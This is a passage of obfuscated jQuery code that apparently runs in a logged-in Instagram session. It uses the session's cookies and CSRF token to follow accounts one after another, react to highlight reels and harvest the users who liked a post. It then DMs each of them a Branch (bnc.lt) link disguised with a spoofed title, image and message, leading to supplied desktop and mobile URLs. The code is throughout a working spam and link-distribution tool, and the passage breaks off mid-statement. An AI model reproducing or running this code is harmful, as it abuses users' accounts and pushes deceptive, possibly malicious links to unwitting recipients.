_0x3e789e=_0xc752e5,_0x3d994c=_0x79a34c[_0x3e789e(0x217)],_0x7e6409=_0x3d994c[_0x3e789e(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');$[_0x3e789e(0x2ea)]({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':_0x3e789e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3e789e(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x3e789e(0x1d5),'client_context':guid(),'link_text':_0x7e6409,'link_urls':JSON[_0x3e789e(0x208)]([_0x7e6409]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x472239(0x272)](function(){var _0x4eeaf6=_0x472239;_0x39e605++,$(_0x4eeaf6(0x257))['text'](_0x39e605),$(_0x4eeaf6(0x2ce))['html'](_0x4eeaf6(0x1be))[_0x4eeaf6(0x204)]('color',_0x4eeaf6(0x1e7));});},_0x3525da*_0x44b3ae),_0x35ae9a;});});},0x3e8);}}}else $[_0x3d7a98(0x2ea)]({'url':_0x52f72f,'type':_0x3d7a98(0x26a),'crossDomain':!![],'headers':{'content-type':_0x3d7a98(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x23f84d=_0x3d7a98;$(_0x23f84d(0x2ce))['html'](_0x23f84d(0x285))[_0x23f84d(0x204)](_0x23f84d(0x2ab),_0x23f84d(0x255));},'data':{'recipient_users':JSON['stringify']([_0x316cd0[_0x3d7a98(0x24f)]['id']])}})['done'](function(_0x1097b0){var _0x32fd83=_0x3d7a98;getThread=_0x1097b0[_0x32fd83(0x271)],seen_thread=_0x1097b0[_0x32fd83(0x20d)][_0x32fd83(0x1e8)],_0x12882a++,$(_0x32fd83(0x20a))[_0x32fd83(0x1fd)](_0x12882a),$(_0x32fd83(0x2ce))[_0x32fd83(0x28d)](_0x32fd83(0x202))['css'](_0x32fd83(0x2ab),_0x32fd83(0x198)),$['ajax']({'url':_0x46fdb6,'type':_0x32fd83(0x26a),'cache':![],'contentType':_0x32fd83(0x2d8),'dataType':_0x32fd83(0x2e8),'data':JSON[_0x32fd83(0x208)]({'branch_key':apiBrancgh[_0x46d270],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x476aaa],'$og_image_url':send_profile}})})[_0x32fd83(0x24e)](function(_0xd2095d){var _0x230c05=_0x32fd83,_0x5d43d8=_0xd2095d[_0x230c05(0x217)],_0x4ea84e=_0x5d43d8[_0x230c05(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');$[_0x230c05(0x2ea)]({'url':_0x535a19,'type':_0x230c05(0x26a),'crossDomain':!![],'headers':{'content-type':_0x230c05(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x230c05(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x230c05(0x1d5),'client_context':guid(),'link_text':_0x4ea84e,'link_urls':JSON['stringify']([_0x4ea84e]),'mutation_token':guid(),'thread_id':getThread}});});})['fail'](function(){var _0x4dad82=_0x3d7a98;_0x39e605++,$(_0x4dad82(0x257))[_0x4dad82(0x1fd)](_0x39e605),$(_0x4dad82(0x2ce))[_0x4dad82(0x28d)](_0x4dad82(0x1be))[_0x4dad82(0x204)](_0x4dad82(0x2ab),_0x4dad82(0x1e7));});},_0x43e983*_0x44b3ae),_0x36d555;});if(_0x536e1e!=='0')return _0x536e1e;});}else{if($(_0x5cc1c5(0x216))[_0x5cc1c5(0x1de)](_0x5cc1c5(0x28b))[_0x5cc1c5(0x225)]>0x0){if(!_0x3353e8||_0x3353e8<0x1)return alert('Endi\x20UID\x20e\x20!!'),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))['css'](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$[_0x5cc1c5(0x286)](_0x14ae4f,function(_0x18694c,_0x58b234){var _0x4e29aa=_0x5cc1c5,_0x13ae17=!![],_0x792620=_0x18694c+0x1,_0x1a9d65=_0x18694c==_0x14ae4f[_0x4e29aa(0x225)]-0x1;return setTimeout(function(){var _0xc82ca7=_0x4e29aa,_0x53e234=['😍','💯','❤️','😢','😂','🔥','😘','💋','😉'],_0x1920a7=Math[_0xc82ca7(0x1db)](Math[_0xc82ca7(0x231)]()*_0x53e234[_0xc82ca7(0x225)]);if(_0x1a9d65)return $(_0xc82ca7(0x2ce))[_0xc82ca7(0x28d)]('<i>Wes\x20Mari..\x20&#x1F600;</i>')[_0xc82ca7(0x204)](_0xc82ca7(0x2ab),_0xc82ca7(0x255)),clearTimeout(),_0x13ae17=![],![];else{$[_0xc82ca7(0x2ea)]({'url':_0x3a372b,'type':'get','crossDomain':!![],'xhrFields':{'withCredentials':!![]},'headers':{'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-requested-with':_0xc82ca7(0x1e0)},'data':{'query_hash':'d4d88dc1500312af6f937f7b804c68c3','variables':JSON[_0xc82ca7(0x208)]({'user_id':_0x58b234,'include_chaining':!![],'include_reel':!![],'include_suggested_users':![],'include_logged_out_extras':![],'include_highlight_reels':!![],'include_live_status':![]})}})[_0xc82ca7(0x24e)](function(_0x24aa6c,_0x1c9274,_0x44534f){var _0x563bde=_0xc82ca7;_0x536e1e=_0x44534f[_0x563bde(0x2cc)](_0x563bde(0x209)),reel_id=_0x24aa6c[_0x563bde(0x29b)][_0x563bde(0x1cb)]['edge_highlight_reels'][_0x563bde(0x213)],reel_id===null||reel_id[_0x563bde(0x225)]===0x0?($('.errorLog')[_0x563bde(0x28d)](_0x563bde(0x2b7))['css']('color',_0x563bde(0x255)),$[_0x563bde(0x2ea)]({'url':_0x563bde(0x266)+_0x58b234+_0x563bde(0x2b0),'type':_0x563bde(0x26a),'crossDomain':!![],'xhrFields':{'withCredentials':!![]},'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x563bde(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x563bde(0x1e0)}})[_0x563bde(0x24e)](function(){var _0x36af15=_0x563bde;$(_0x36af15(0x2ce))[_0x36af15(0x28d)](_0x36af15(0x250)+_0x792620+'..\x20&#128522;</i>')[_0x36af15(0x204)](_0x36af15(0x2ab),_0x36af15(0x198));})['fail'](function(){var _0x44d144=_0x563bde;$(_0x44d144(0x2ce))[_0x44d144(0x28d)](_0x44d144(0x1b8)+_0x792620+'...\x20&#129324;</i>')[_0x44d144(0x204)](_0x44d144(0x2ab),_0x44d144(0x1e7));})):($(_0x563bde(0x2ce))[_0x563bde(0x28d)](_0x563bde(0x24b))[_0x563bde(0x204)](_0x563bde(0x2ab),_0x563bde(0x255)),$[_0x563bde(0x2ea)]({'url':_0x563bde(0x215),'type':_0x563bde(0x1a3),'crossDomain':!![],'xhrFields':{'withCredentials':!![]},'headers':{'content-type':_0x563bde(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x563bde(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'data':{'reel_ids':'highlight:'+reel_id[0x0][_0x563bde(0x24f)]['id']}})['done'](function(_0x43bb2b){var _0xbf9462=_0x563bde;media_idh=_0x43bb2b[_0xbf9462(0x1c0)][_0xbf9462(0x258)+reel_id[0x0][_0xbf9462(0x24f)]['id']][_0xbf9462(0x2b3)]['media_id'],id_reel=_0x43bb2b[_0xbf9462(0x1c0)][_0xbf9462(0x258)+reel_id[0x0][_0xbf9462(0x24f)]['id']]['id'],$[_0xbf9462(0x2ea)]({'url':_0x52f72f,'type':_0xbf9462(0x26a),'crossDomain':!![],'xhrFields':{'withCredentials':!![]},'headers':{'content-type':_0xbf9462(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'data':{'recipient_users':JSON[_0xbf9462(0x208)]([_0x58b234])},'beforeSend':function(){var _0x1af8fc=_0xbf9462;$(_0x1af8fc(0x2ce))[_0x1af8fc(0x28d)](_0x1af8fc(0x20c))[_0x1af8fc(0x204)](_0x1af8fc(0x2ab),_0x1af8fc(0x255));}})[_0xbf9462(0x24e)](function(_0x157f9a){var _0x3ae6af=_0xbf9462;getThread=_0x157f9a[_0x3ae6af(0x271)],$[_0x3ae6af(0x2ea)]({'url':_0x3ae6af(0x291),'type':_0x3ae6af(0x26a),'crossDomain':!![],'xhrFields':{'withCredentials':!![]},'headers':{'content-type':_0x3ae6af(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3ae6af(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x3ae6af(0x1e0)},'data':{'action':_0x3ae6af(0x1d5),'client_context':guid(),'reel_id':id_reel,'media_id':media_idh,'thread_id':getThread,'reaction_emoji':_0x53e234[_0x1920a7]}})[_0x3ae6af(0x24e)](function(_0x74837e){var _0x54651a=_0x3ae6af;_0x12882a++,$(_0x54651a(0x20a))['text'](_0x12882a),$('.errorLog')[_0x54651a(0x28d)](_0x54651a(0x205))[_0x54651a(0x204)](_0x54651a(0x2ab),'green');});})[_0xbf9462(0x272)](function(){var _0x99d92a=_0xbf9462;_0x39e605++,$('.mendal')[_0x99d92a(0x1fd)](_0x39e605),$(_0x99d92a(0x2ce))[_0x99d92a(0x28d)]('<i>Limit...\x20&#129324;</i>')[_0x99d92a(0x204)](_0x99d92a(0x2ab),'red');});}));})[_0xc82ca7(0x272)](function(_0x247188){var _0x55a720=_0xc82ca7;_0x536e1e=_0x247188['getResponseHeader'](_0x55a720(0x209)),$(_0x55a720(0x2ce))[_0x55a720(0x28d)](_0x55a720(0x1c3))[_0x55a720(0x204)]('color',_0x55a720(0x1e7));});if(_0x536e1e!==0x0)return _0x536e1e;}},_0x18694c*_0x44b3ae),_0x13ae17;});}else{if($('select.direct')[_0x5cc1c5(0x1de)]('option.fol_dm')[_0x5cc1c5(0x225)]>0x0){if(!_0x1af123||_0x1af123<0x1)return alert('Endi\x20Link\x20Android\x20e\x20!!'),![];else{if(!_0x159391||_0x159391<0x1)return alert(_0x5cc1c5(0x230)),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))[_0x5cc1c5(0x204)](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));}if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$[_0x5cc1c5(0x2ea)]({'url':_0x3a372b,'type':'get','headers':{'content-type':_0x5cc1c5(0x21e),'x-ig-app-id':_0x5cc1c5(0x2c9),'x-ig-www-claim':_0x536e1e,'x-requested-with':'XMLHttpRequest'},'data':{'query_hash':_0x5cc1c5(0x2e1),'variables':JSON[_0x5cc1c5(0x208)]({'shortcode':_0x48f75b,'include_reel':!![],'first':0x18})}})[_0x5cc1c5(0x24e)](function(_0x473a45,_0x4d5f53,_0x9b74d5){var _0x565f57=_0x5cc1c5;_0x536e1e=_0x9b74d5['getResponseHeader'](_0x565f57(0x209)),follow_uid=_0x473a45[_0x565f57(0x29b)][_0x565f57(0x200)][_0x565f57(0x2d3)][_0x565f57(0x213)],check_cursor=_0x473a45['data']['shortcode_media'][_0x565f57(0x2d3)][_0x565f57(0x2a7)][_0x565f57(0x1f5)],define_next=_0x473a45[_0x565f57(0x29b)][_0x565f57(0x200)][_0x565f57(0x2d3)][_0x565f57(0x2a7)]['has_next_page'],_0x317e88=check_cursor,$[_0x565f57(0x286)](follow_uid,function(_0x30fd2f,_0x3e2bef){var _0x18326d=_0x565f57,_0x30a56f=!![],_0x5be713=_0x30fd2f==follow_uid[_0x18326d(0x225)]-0x1;return setTimeout(function(){var _0x3bd070=_0x18326d,_0x14750d=Math['floor'](Math[_0x3bd070(0x231)]()*kirempesan[_0x3bd070(0x225)]),_0x58ffce=Math['floor'](Math[_0x3bd070(0x231)]()*apiBrancgh[_0x3bd070(0x225)]);if(_0x5be713){if(define_next===![])return $['ajax']({'url':_0x3bd070(0x266)+_0x3e2bef[_0x3bd070(0x24f)]['id']+_0x3bd070(0x2b0),'type':_0x3bd070(0x26a),'crossDomain':!![],'headers':{'content-type':_0x3bd070(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3bd070(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x3bd070(0x1e0)},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x4f2181=_0x3bd070;$(_0x4f2181(0x2ce))['html'](_0x4f2181(0x1b3))[_0x4f2181(0x204)](_0x4f2181(0x2ab),'blue');}})[_0x3bd070(0x24e)](function(){var _0x4abebd=_0x3bd070;$(_0x4abebd(0x2ce))[_0x4abebd(0x28d)](_0x4abebd(0x23a))[_0x4abebd(0x204)](_0x4abebd(0x2ab),'blue'),$['ajax']({'url':_0x52f72f,'type':_0x4abebd(0x26a),'crossDomain':!![],'headers':{'content-type':_0x4abebd(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4abebd(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x4abebd(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON[_0x4abebd(0x208)]([_0x3e2bef[_0x4abebd(0x24f)]['id']])}})['done'](function(_0x6d6841){var _0x26c17b=_0x4abebd;getThread=_0x6d6841['thread_id'],_0x12882a++,$('.olePiro')['text'](_0x12882a),$(_0x26c17b(0x2ce))[_0x26c17b(0x28d)](_0x26c17b(0x224))['css'](_0x26c17b(0x2ab),_0x26c17b(0x255)),$[_0x26c17b(0x2ea)]({'url':_0x46fdb6,'type':'post','contentType':_0x26c17b(0x2d8),'dataType':'json','data':JSON[_0x26c17b(0x208)]({'branch_key':apiBrancgh[_0x58ffce],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x14750d],'$og_image_url':send_profile}})})[_0x26c17b(0x24e)](function(_0x3db10d){var _0xc49fe9=_0x26c17b,_0x40b478=_0x3db10d[_0xc49fe9(0x217)],_0xb64832=_0x40b478[_0xc49fe9(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0xc49fe9(0x1bb));$[_0xc49fe9(0x2ea)]({'url':_0x535a19,'type':_0xc49fe9(0x26a),'crossDomain':!![],'headers':{'content-type':_0xc49fe9(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0xc49fe9(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'action':'send_item','client_context':guid(),'link_text':_0xb64832,'link_urls':JSON['stringify']([_0xb64832]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x4abebd(0x272)](function(){var _0x214638=_0x4abebd;_0x39e605++,$(_0x214638(0x257))[_0x214638(0x1fd)](_0x39e605),$(_0x214638(0x2ce))[_0x214638(0x28d)]('<i>Wes\x20Mari\x20Follow...\x20&#129324;</i>')[_0x214638(0x204)](_0x214638(0x2ab),_0x214638(0x1e7));});})['fail'](function(){var _0x274006=_0x3bd070;$(_0x274006(0x2ce))[_0x274006(0x28d)](_0x274006(0x1b1))[_0x274006(0x204)](_0x274006(0x2ab),_0x274006(0x1e7));}),clearTimeout(),_0x30a56f=![],![];else{$[_0x3bd070(0x2ea)]({'url':_0x3bd070(0x266)+_0x3e2bef[_0x3bd070(0x24f)]['id']+_0x3bd070(0x2b0),'type':_0x3bd070(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x3bd070(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':'XMLHttpRequest'},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x457bff=_0x3bd070;$(_0x457bff(0x2ce))[_0x457bff(0x28d)](_0x457bff(0x1b3))[_0x457bff(0x204)](_0x457bff(0x2ab),_0x457bff(0x255));}})['done'](function(){var _0x2b2a1f=_0x3bd070;$(_0x2b2a1f(0x2ce))[_0x2b2a1f(0x28d)]('<i>Success\x20Follow..\x20&#128522;</i>')['css'](_0x2b2a1f(0x2ab),_0x2b2a1f(0x198)),$['ajax']({'url':_0x52f72f,'type':_0x2b2a1f(0x26a),'crossDomain':!![],'headers':{'content-type':_0x2b2a1f(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x2b2a1f(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x2b2a1f(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON[_0x2b2a1f(0x208)]([_0x3e2bef[_0x2b2a1f(0x24f)]['id']])}})[_0x2b2a1f(0x24e)](function(_0x20011e){var _0x59e731=_0x2b2a1f;getThread=_0x20011e[_0x59e731(0x271)],_0x12882a++,$(_0x59e731(0x20a))[_0x59e731(0x1fd)](_0x12882a),$(_0x59e731(0x2ce))['html'](_0x59e731(0x227))[_0x59e731(0x204)](_0x59e731(0x2ab),_0x59e731(0x198)),$[_0x59e731(0x2ea)]({'url':_0x46fdb6,'type':'post','contentType':'application/json;\x20charset=utf-8','dataType':_0x59e731(0x2e8),'data':JSON[_0x59e731(0x208)]({'branch_key':apiBrancgh[_0x58ffce],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x14750d],'$og_image_url':send_profile}})})[_0x59e731(0x24e)](function(_0x455d6a){var _0x3eafde=_0x59e731,_0x5ac44d=_0x455d6a['url'],_0x5e60bc=_0x5ac44d['replace'](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x3eafde(0x1bb));$[_0x3eafde(0x2ea)]({'url':_0x535a19,'type':_0x3eafde(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':'XMLHttpRequest'},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x3eafde(0x1d5),'client_context':guid(),'link_text':_0x5e60bc,'link_urls':JSON[_0x3eafde(0x208)]([_0x5e60bc]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x2b2a1f(0x272)](function(){var _0x947d7=_0x2b2a1f;_0x39e605++,$(_0x947d7(0x257))[_0x947d7(0x1fd)](_0x39e605),$(_0x947d7(0x2ce))[_0x947d7(0x28d)](_0x947d7(0x253))[_0x947d7(0x204)]('color',_0x947d7(0x1e7));});})[_0x3bd070(0x272)](function(){var _0x55b512=_0x3bd070;$(_0x55b512(0x2ce))[_0x55b512(0x28d)](_0x55b512(0x238))['css'](_0x55b512(0x2ab),_0x55b512(0x1e7));}),_0x50bd20();function _0x50bd20(){var _0x5c4802=_0x3bd070;$['ajax']({'url':_0x3a372b,'type':'get','headers':{'content-type':_0x5c4802(0x21e),'x-ig-app-id':_0x5c4802(0x2c9),'x-ig-www-claim':_0x536e1e},'data':{'query_hash':'d5d763b1e2acf209d62d22d184488e57','variables':JSON[_0x5c4802(0x208)]({'shortcode':_0x48f75b,'include_reel':!![],'first':0xc,'after':_0x317e88})}})[_0x5c4802(0x24e)](function(_0xf063e3){var _0x2b4109=_0x5c4802;follow_uid_dua=_0xf063e3[_0x2b4109(0x29b)][_0x2b4109(0x200)][_0x2b4109(0x2d3)][_0x2b4109(0x213)],check_cursor_dua=_0xf063e3['data']['shortcode_media']['edge_liked_by'][_0x2b4109(0x2a7)]['end_cursor'],define_next_dua=_0xf063e3[_0x2b4109(0x29b)][_0x2b4109(0x200)]['edge_liked_by'][_0x2b4109(0x2a7)][_0x2b4109(0x21c)],_0x317e88=check_cursor_dua,$[_0x2b4109(0x286)](follow_uid_dua,function(_0x4260a4,_0x7d9e91){var _0x13229=_0x2b4109,_0x591c04=!![],_0xc9411a=_0x4260a4==follow_uid_dua[_0x13229(0x225)]-0x1;return setTimeout(function(){var _0x37e6e2=_0x13229;if(_0xc9411a){if(define_next_dua===![])return $[_0x37e6e2(0x2ea)]({'url':'https://www.instagram.com/web/friendships/'+_0x7d9e91[_0x37e6e2(0x24f)]['id']+_0x37e6e2(0x2b0),'type':_0x37e6e2(0x26a),'crossDomain':!![],'headers':{'content-type':_0x37e6e2(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x37e6e2(0x1e0)},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x2f86fb=_0x37e6e2;$('.errorLog')[_0x2f86fb(0x28d)]('<i>Get\x20UID..\x20&#128522;</i>')[_0x2f86fb(0x204)](_0x2f86fb(0x2ab),'blue');}})[_0x37e6e2(0x24e)](function(){var _0x439c8c=_0x37e6e2;$(_0x439c8c(0x2ce))[_0x439c8c(0x28d)]('<i>Wes\x20Mari\x20Follow..\x20&#128522;</i>')[_0x439c8c(0x204)]('color',_0x439c8c(0x255)),$['ajax']({'url':_0x52f72f,'type':'post','crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x439c8c(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x439c8c(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON['stringify']([_0x7d9e91[_0x439c8c(0x24f)]['id']])}})[_0x439c8c(0x24e)](function(_0x47990d){var _0x5d0781=_0x439c8c;getThread=_0x47990d[_0x5d0781(0x271)],_0x12882a++,$('.olePiro')['text'](_0x12882a),$(_0x5d0781(0x2ce))[_0x5d0781(0x28d)](_0x5d0781(0x224))['css'](_0x5d0781(0x2ab),_0x5d0781(0x255)),$[_0x5d0781(0x2ea)]({'url':_0x46fdb6,'type':_0x5d0781(0x26a),'contentType':'application/json;\x20charset=utf-8','dataType':_0x5d0781(0x2e8),'data':JSON[_0x5d0781(0x208)]({'branch_key':apiBrancgh[_0x58ffce],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x14750d],'$og_image_url':send_profile}})})['done'](function(_0x3287a6){var _0x5819f8=_0x5d0781,_0x244d0b=_0x3287a6[_0x5819f8(0x217)],_0x34a0ed=_0x244d0b[_0x5819f8(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x5819f8(0x1bb));$[_0x5819f8(0x2ea)]({'url':_0x535a19,'type':_0x5819f8(0x26a),'crossDomain':!![],'headers':{'content-type':_0x5819f8(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x5819f8(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x5819f8(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'action':'send_item','client_context':guid(),'link_text':_0x34a0ed,'link_urls':JSON[_0x5819f8(0x208)]([_0x34a0ed]),'mutation_token':guid(),'thread_id':getThread}});});})['fail'](function(){var _0x733942=_0x439c8c;_0x39e605++,$(_0x733942(0x257))[_0x733942(0x1fd)](_0x39e605),$(_0x733942(0x2ce))[_0x733942(0x28d)]('<i>Wes\x20Mari\x20DM...\x20&#129324;</i>')['css'](_0x733942(0x2ab),_0x733942(0x1e7));});})[_0x37e6e2(0x272)](function(){var _0x1e0e31=_0x37e6e2;$(_0x1e0e31(0x2ce))[_0x1e0e31(0x28d)](_0x1e0e31(0x1b1))[_0x1e0e31(0x204)](_0x1e0e31(0x2ab),_0x1e0e31(0x1e7));}),clearTimeout(),_0x591c04=![],![];else $['ajax']({'url':'https://www.instagram.com/web/friendships/'+_0x7d9e91[_0x37e6e2(0x24f)]['id']+_0x37e6e2(0x2b0),'type':'post','crossDomain':!![],'headers':{'content-type':_0x37e6e2(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x37e6e2(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x37e6e2(0x1e0)},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x4fb933=_0x37e6e2;$(_0x4fb933(0x2ce))['html']('<i>Get\x20UID..\x20&#128522;</i>')['css'](_0x4fb933(0x2ab),'blue');}})[_0x37e6e2(0x24e)](function(){var _0x334462=_0x37e6e2;$('.errorLog')['html'](_0x334462(0x1d4))['css'](_0x334462(0x2ab),_0x334462(0x198)),$[_0x334462(0x2ea)]({'url':_0x52f72f,'type':_0x334462(0x26a),'crossDomain':!![],'headers':{'content-type':_0x334462(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x334462(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x334462(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON[_0x334462(0x208)]([_0x7d9e91[_0x334462(0x24f)]['id']])}})[_0x334462(0x24e)](function(_0xc646a1){var _0x1b51c4=_0x334462;getThread=_0xc646a1[_0x1b51c4(0x271)],_0x12882a++,$(_0x1b51c4(0x20a))[_0x1b51c4(0x1fd)](_0x12882a),$('.errorLog')['html']('<i>Success\x20DM..\x20&#128522;</i>')[_0x1b51c4(0x204)](_0x1b51c4(0x2ab),_0x1b51c4(0x198)),$['ajax']({'url':_0x46fdb6,'type':'post','contentType':_0x1b51c4(0x2d8),'dataType':_0x1b51c4(0x2e8),'data':JSON[_0x1b51c4(0x208)]({'branch_key':apiBrancgh[_0x58ffce],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x14750d],'$og_image_url':send_profile}})})['done'](function(_0x4e747d){var _0x925a92=_0x1b51c4,_0x52da82=_0x4e747d[_0x925a92(0x217)],_0x3423ee=_0x52da82[_0x925a92(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x925a92(0x1bb));$['ajax']({'url':_0x535a19,'type':_0x925a92(0x26a),'crossDomain':!![],'headers':{'content-type':_0x925a92(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x925a92(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x925a92(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x925a92(0x1d5),'client_context':guid(),'link_text':_0x3423ee,'link_urls':JSON[_0x925a92(0x208)]([_0x3423ee]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x334462(0x272)](function(){var _0x414526=_0x334462;_0x39e605++,$(_0x414526(0x257))[_0x414526(0x1fd)](_0x39e605),$(_0x414526(0x2ce))[_0x414526(0x28d)](_0x414526(0x253))[_0x414526(0x204)](_0x414526(0x2ab),_0x414526(0x1e7));});})['fail'](function(){var _0x1e1d08=_0x37e6e2;$(_0x1e1d08(0x2ce))[_0x1e1d08(0x28d)](_0x1e1d08(0x238))[_0x1e1d08(0x204)]('color',_0x1e1d08(0x1e7));}),_0x50bd20();}else $['ajax']({'url':'https://www.instagram.com/web/friendships/'+_0x7d9e91[_0x37e6e2(0x24f)]['id']+'/follow/','type':_0x37e6e2(0x26a),'crossDomain':!![],'headers':{'content-type':_0x37e6e2(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x37e6e2(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x37e6e2(0x1e0)},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x4d5193=_0x37e6e2;$(_0x4d5193(0x2ce))[_0x4d5193(0x28d)](_0x4d5193(0x1b3))[_0x4d5193(0x204)](_0x4d5193(0x2ab),'blue');}})['done'](function(){var _0x499ac7=_0x37e6e2;$('.errorLog')[_0x499ac7(0x28d)]('<i>Success\x20Follow..\x20&#128522;</i>')[_0x499ac7(0x204)]('color',_0x499ac7(0x198)),$['ajax']({'url':_0x52f72f,'type':_0x499ac7(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x499ac7(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':'XMLHttpRequest'},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON['stringify']([_0x7d9e91['node']['id']])}})[_0x499ac7(0x24e)](function(_0x1cd329){var 